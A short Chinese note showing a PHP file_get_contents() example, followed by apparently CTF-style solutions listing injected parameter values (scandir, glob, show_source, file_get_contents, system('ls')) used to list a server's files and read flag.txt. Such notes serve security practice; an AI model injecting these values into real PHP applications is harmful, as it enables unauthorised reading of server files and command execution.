PHP file_get_contents() 函数
例子
<?php
echo file_get_contents("test.txt");
?>
输出:
This is a test file with test text.
搜索到的几种解法:
1. s=print_r(scandir('./')) 然后读取flag.txt
2. s=print_r(glob("*.*")) 然后读取show_source(flag.txt)
3. 使用file_get_contents(flag.txt)读取文件
eg: 还有system('ls')的读取方法但是这里应该没有权限.